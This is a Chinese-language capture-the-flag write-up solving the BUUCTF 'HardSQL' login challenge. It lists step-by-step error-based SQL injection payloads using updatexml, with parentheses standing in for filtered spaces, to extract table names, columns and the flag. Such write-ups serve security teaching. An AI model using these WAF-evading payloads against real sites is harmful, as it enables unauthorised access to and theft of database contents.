[極客大挑戰 2019]HardSQL

imtaieee發表於2024-11-02

題目連結:https://buuoj.cn/challenges#[極客大挑戰 2019]HardSQL

開啟題目後,環境如下。

只有一個登入框,因此八九不離十就是 SQL 注入題目。

首先嚐試使用萬能密碼登陸,Payload:admin' or 1=1;#

從回顯來看,網站應該存在 WAF 或一些對使用者輸入的檢測,接下來嘗試 fuzzing 一下看看有什麼字元是被過濾了的。

長度為 789 的響應包即是被過濾了的字元。

可以發現,如 unionand= 等字元都被過濾,因此就要考慮如何繞過空格的過濾。

經過嘗試 %a0%0a 等多種方式,發現均無法繞過空格,因此只能使用括號來繞過空格。

嘗試 Payload:1'or(1)%3b%23 發現,後端是由單引號 ' 閉合。

透過分析 fuzzing 的結果,發現報錯注入似乎沒有被過濾,接下來嘗試報錯注入。

Payload:1'or(updatexml(1,concat(0x7e,database()),1))%3b%23,獲得資料庫名。

Payload:1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database()))),1))%3b%23,獲得資料表名。

Payload:1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))),1))%3b%23,獲得欄位名。

Payload:1'or(updatexml(1,concat(0x7e,(select(group_concat(((password))))from(H4rDsq1)),0x7e),1))%3b%23,獲取 password 欄位的內容。

發現輸入長度有限,於是使用 left、right 函式進行截斷輸出,然後再將 flag 拼接起來。

Payload:1'or(updatexml(1,concat(0x7e,(select(group_concat((left(password,25))))from(H4rDsq1)),0x7e),1))%3b%23

參考連結:https://cloud.tencent.com/developer/article/2359640

相關文章